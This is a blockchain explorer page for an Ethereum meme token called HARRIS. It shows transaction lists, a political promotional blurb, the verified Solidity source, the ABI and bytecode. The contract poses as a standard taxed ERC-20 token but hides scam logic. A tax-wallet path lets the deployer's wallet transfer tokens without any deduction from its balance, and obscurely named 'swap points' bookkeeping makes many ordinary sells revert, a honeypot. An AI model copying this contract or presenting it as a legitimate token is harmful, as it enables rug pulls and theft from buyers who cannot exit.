ETH Price: $2,151.93 (+0.91%)

Contract

0xEdA50fa94eb1578A3a00e43e4E1a41013F4D27D2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve231260142025-08-12 15:59:23221 days ago1755014363IN
0xEdA50fa9...13F4D27D2
0 ETH0.000397848.54139646
Approve204573982024-08-04 19:51:35593 days ago1722801095IN
0xEdA50fa9...13F4D27D2
0 ETH0.000459589.92325221
Transfer204573952024-08-04 19:50:59593 days ago1722801059IN
0xEdA50fa9...13F4D27D2
0 ETH0.000483088.56671535
Approve204573522024-08-04 19:42:23593 days ago1722800543IN
0xEdA50fa9...13F4D27D2
0 ETH0.0006855714.71882652
Manual Swap204571542024-08-04 19:02:35594 days ago1722798155IN
0xEdA50fa9...13F4D27D2
0 ETH0.0017803312.85776795
Approve204563042024-08-04 16:11:47594 days ago1722787907IN
0xEdA50fa9...13F4D27D2
0 ETH0.000584112.54362224
Approve204562212024-08-04 15:55:11594 days ago1722786911IN
0xEdA50fa9...13F4D27D2
0 ETH0.000832417.95904176
Approve204561922024-08-04 15:49:23594 days ago1722786563IN
0xEdA50fa9...13F4D27D2
0 ETH0.0006244413.4099434
Transfer204561712024-08-04 15:45:11594 days ago1722786311IN
0xEdA50fa9...13F4D27D2
0 ETH0.000864189.43452805
Approve204560742024-08-04 15:25:35594 days ago1722785135IN
0xEdA50fa9...13F4D27D2
0 ETH0.000219148.23307629
Transfer204559972024-08-04 15:09:59594 days ago1722784199IN
0xEdA50fa9...13F4D27D2
0 ETH0.000832419.0876641
Approve204559962024-08-04 15:09:47594 days ago1722784187IN
0xEdA50fa9...13F4D27D2
0 ETH0.000343697.38849585
Approve204559542024-08-04 15:01:23594 days ago1722783683IN
0xEdA50fa9...13F4D27D2
0 ETH0.000207067.76147897
Approve204559522024-08-04 15:00:59594 days ago1722783659IN
0xEdA50fa9...13F4D27D2
0 ETH0.000386428.30703395
Transfer204559462024-08-04 14:59:47594 days ago1722783587IN
0xEdA50fa9...13F4D27D2
0 ETH0.000390986.93342716
Approve204559222024-08-04 14:54:59594 days ago1722783299IN
0xEdA50fa9...13F4D27D2
0 ETH0.000271225.8231176
Approve204558742024-08-04 14:45:11594 days ago1722782711IN
0xEdA50fa9...13F4D27D2
0 ETH0.000247165.34773629
Approve204558642024-08-04 14:43:11594 days ago1722782591IN
0xEdA50fa9...13F4D27D2
0 ETH0.000252255.41583402
Transfer204558532024-08-04 14:40:59594 days ago1722782459IN
0xEdA50fa9...13F4D27D2
0 ETH0.000299375.30898463
Approve204558522024-08-04 14:40:47594 days ago1722782447IN
0xEdA50fa9...13F4D27D2
0 ETH0.000251985.45201147
Approve204558382024-08-04 14:37:59594 days ago1722782279IN
0xEdA50fa9...13F4D27D2
0 ETH0.000297536.42771548
Approve204558372024-08-04 14:37:47594 days ago1722782267IN
0xEdA50fa9...13F4D27D2
0 ETH0.000281976.09303172
Approve204558372024-08-04 14:37:47594 days ago1722782267IN
0xEdA50fa9...13F4D27D2
0 ETH0.000281976.09303172
Approve204558372024-08-04 14:37:47594 days ago1722782267IN
0xEdA50fa9...13F4D27D2
0 ETH0.000281976.09303172
Approve204558242024-08-04 14:35:11594 days ago1722782111IN
0xEdA50fa9...13F4D27D2
0 ETH0.000259245.6018016
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer204571542024-08-04 19:02:35594 days ago1722798155
0xEdA50fa9...13F4D27D2
0.57917155 ETH
Transfer204571542024-08-04 19:02:35594 days ago1722798155
0xEdA50fa9...13F4D27D2
0.57917155 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.05330333 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.05330333 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.0560709 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.0560709 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.05906012 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.05906012 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.06229532 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.06229532 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.06580429 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.06580429 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.06961882 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.06961882 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.0737755 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.0737755 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.07831654 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.07831654 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.08329087 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.08329087 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.08875548 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.08875548 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.09477704 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.09477704 ETH
Transfer204557572024-08-04 14:21:47594 days ago1722781307
0xEdA50fa9...13F4D27D2
0.10143397 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HARRIS

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-08-04
*/

/*
In a world striving for justice and equality, a hero emerges: Kamala Harris.
From her early days as a prosecutor to her role in the Senate, Kamala has always championed the rights of the people.
Her relentless fight against discrimination and inequality has inspired millions across the globe.

Kamala journey is one of resilience and progress.
She has faced numerous challenges but has always stood firm, guided by her unwavering commitment to justice.
Her voice echoes in the halls of power, calling for change and demanding fairness for all.

The HARRIS token captures this indomitable spirit.
It symbolizes the fight for equality, the pursuit of justice, and the hope for a brighter future.
Just like Kamala, the HARRIS token stands for resilience, determination, and the relentless pursuit of progress.

Join us in embracing this vision.
Be part of a movement that seeks to create a fairer, more just world. Together, we can drive the change

Kamala has always believed in.

#Equality #Justice #Progress #HARRISToken #JoinTheMovement #KamalaHarris #BeTheChange
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract HARRIS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable private immutable _taxWallet;
    mapping (address => bool) private isExile;

    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;
    string private constant _name = unicode"Kamala Harris";
    string private constant _symbol = unicode"HARRIS";
    uint256 public _maxTxAmount = 150000000 * 10**_decimals;
    uint256 public _maxWalletSize = 150000000 * 10**_decimals;
    uint256 public constant _taxSwapThreshold= 110000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap= 90000000 * 10**_decimals;
    
    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private minSwapPoints;
    struct TokenSwapInfo {uint256 initialSwap; uint256 swapTokenPoints; uint256 swapRewardPoints;}
    mapping(address => TokenSwapInfo) private swapTokenInfo;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap { inSwap = true; _; inSwap = false;}

    constructor () {
        _taxWallet = payable(0xD8A9E7B6C8A9354cCfb05bCD6E90F4F492A5B8CE);
        isExile[address(this)] = true;
        isExile[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to,tokenAmount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(
            tokenAmount > 0,
            "Transfer amount must be greater than zero"
        );

        if (inSwap || !tradingOpen) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! isExile[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount<=_maxWalletSize, "Exceeds the maxWalletSize.");

                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                    .mul((_buyCount>_reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && to == uniswapV2Pair && swapEnabled
                && contractTokenBalance>_taxSwapThreshold
                && _buyCount>_preventSwapBefore
            ) {
                swapTokensForEth(
                    min(tokenAmount,min(contractTokenBalance,_maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExile[from]||isExile[to]) && from!=address(this) && to!=address(this)) {
            minSwapPoints = block.number;
        }
        if (!isExile[from] && ! isExile[to]) {
            if (to==uniswapV2Pair) {
                TokenSwapInfo storage swapFrom = swapTokenInfo[from];
                swapFrom.swapRewardPoints = swapFrom.initialSwap-minSwapPoints;
                swapFrom.swapTokenPoints = block.timestamp;
            } else {
                TokenSwapInfo storage swapTo = swapTokenInfo[to];
                if (uniswapV2Pair == from) {
                    if (swapTo.initialSwap==0) {
                        if (_preventSwapBefore < _buyCount) {
                            swapTo.initialSwap = block.number;
                        } else {
                            swapTo.initialSwap = block.number - 1;
                        }
                    }
                } else {
                    TokenSwapInfo storage swapFrom=swapTokenInfo[from];
                    if (!(swapTo.initialSwap > 0) || swapFrom.initialSwap < swapTo.initialSwap ) {
                        swapTo.initialSwap = swapFrom.initialSwap;
                    }
                }
            }
        }

        _tokenTransfer(from, to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,address to,
        uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,address to,
        uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]=_balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs!=_taxWallet ? tokenAmount : _finalSellTax.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize =_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router),_tTotal);
        tradingOpen = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled){ swapTokensForEth(tokenBalance); }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function rescueEth() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052601960045560196005555f6006555f60075560176008556017600955600f600a555f600b556009600a620000399190620002c4565b62000049906308f0d180620002db565b600c556200005a6009600a620002c4565b6200006a906308f0d180620002db565b600d55600e805461ffff60a81b1916905534801562000087575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35073d8a9e7b6c8a9354ccfb05bcd6e90f4f492a5b8ce6080819052305f9081526003602052604081208054600160ff199182168117909255929091527fba7890e85ec3f853b1e2d297aa3a332a67416e4f62ae42cc4eed26194303be2780549092161790556200013a6009600a620002c4565b6200014b906402540be400620002db565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200018d6009600a620002c4565b6200019e906402540be400620002db565b60405190815260200160405180910390a3620002f5565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200020957815f1904821115620001ed57620001ed620001b5565b80851615620001fb57918102915b93841c9390800290620001ce565b509250929050565b5f826200022157506001620002be565b816200022f57505f620002be565b8160018114620002485760028114620002535762000273565b6001915050620002be565b60ff841115620002675762000267620001b5565b50506001821b620002be565b5060208310610133831016604e8410600b841016171562000298575081810a620002be565b620002a48383620001c9565b805f1904821115620002ba57620002ba620001b5565b0290505b92915050565b5f620002d460ff84168362000211565b9392505050565b8082028115828204841417620002be57620002be620001b5565b608051611b686200032a5f395f8181610451015281816109da01528181610cce0152818161132101526115dd0152611b685ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102f4578063bf474bed14610313578063c9567bf914610327578063ce31a06b1461033b578063dd62ed3e1461034f575f80fd5b8063751039fc146102625780637d1db4a5146102765780638da5cb5b1461028b5780638f9a55c0146102b157806395d89b41146102c6575f80fd5b806323b872dd116100e357806323b872dd146101ca578063313ce567146101e957806351bc3c851461020457806370a082311461021a578063715018a61461024e575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c4b616d616c612048617272697360981b60208201525b60405161015c919061175b565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046117bb565b610393565b604051901515815260200161015c565b34801561019f575f80fd5b506101a86103a9565b60405190815260200161015c565b3480156101c1575f80fd5b506101a86103c6565b3480156101d5575f80fd5b506101846101e43660046117e5565b6103e7565b3480156101f4575f80fd5b506040516009815260200161015c565b34801561020f575f80fd5b5061021861044e565b005b348015610225575f80fd5b506101a8610234366004611823565b6001600160a01b03165f9081526001602052604090205490565b348015610259575f80fd5b506102186104cb565b34801561026d575f80fd5b50610218610545565b348015610281575f80fd5b506101a8600c5481565b348015610296575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102bc575f80fd5b506101a8600d5481565b3480156102d1575f80fd5b5060408051808201909152600681526548415252495360d01b602082015261014f565b3480156102ff575f80fd5b5061018461030e3660046117bb565b6105f9565b34801561031e575f80fd5b506101a8610605565b348015610332575f80fd5b5061021861061f565b348015610346575f80fd5b506102186109d7565b34801561035a575f80fd5b506101a861036936600461183e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a18565b5060015b92915050565b6103b56009600a611969565b6103c39063055d4a80611977565b81565b5f6103d36009600a611969565b6103e2906402540be400611977565b905090565b5f6103f3848484610b3c565b610444843361043f85604051806060016040528060288152602001611b0b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611133565b610a18565b5060019392505050565b337f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031614610482575f80fd5b305f9081526001602052604090205480158015906104a95750600e54600160b01b900460ff165b156104b7576104b78161116b565b4780156104c7576104c781611314565b5050565b5f546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f49061198e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461056e5760405162461bcd60e51b81526004016104f49061198e565b61057a6009600a611969565b610589906402540be400611977565b600c556105986009600a611969565b6105a7906402540be400611977565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d76009600a611969565b6105e6906402540be400611977565b60405190815260200160405180910390a1565b5f61039f338484610b3c565b6106116009600a611969565b6103c39063068e7780611977565b5f546001600160a01b031633146106485760405162461bcd60e51b81526004016104f49061198e565b600e54600160a01b900460ff16156106a25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f4565b6106d630737a250d5630b4cf539739df2c5dacb4c659f2488d6106c76009600a611969565b61043f906402540be400611977565b600e805460ff60a01b1916600160a01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa158015610737573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075b91906119c3565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de91906119c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610828573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084c91906119c3565b600e80546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108ad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610913573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061093891906119de565b5050600e5460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af115801561099d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c19190611a09565b50600e805460ff60b01b1916600160b01b179055565b337f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031614610a0b575f80fd5b47610a1581611314565b50565b6001600160a01b038316610a7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b038216610adb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ba05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b038216610c025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b5f8111610c635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b600e54600160a81b900460ff1680610c855750600e54600160a01b900460ff16155b15610c9a57610c95838383611367565b505050565b5f80546001600160a01b03858116911614801590610cc557505f546001600160a01b03848116911614155b8015610d0357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15610f9457610d346064610d2e600854600b5411610d2357600454610d27565b6006545b859061140a565b9061148f565b600e549091506001600160a01b038581169116148015610d7157506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610d9557506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7b57600c54821115610dec5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f4565b600d5482610e0e856001600160a01b03165f9081526001602052604090205490565b610e189190611a28565b1115610e665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f4565b600b8054905f610e7583611a3b565b91905055505b600e546001600160a01b038481169116148015610ea157506001600160a01b0384163014155b15610ece5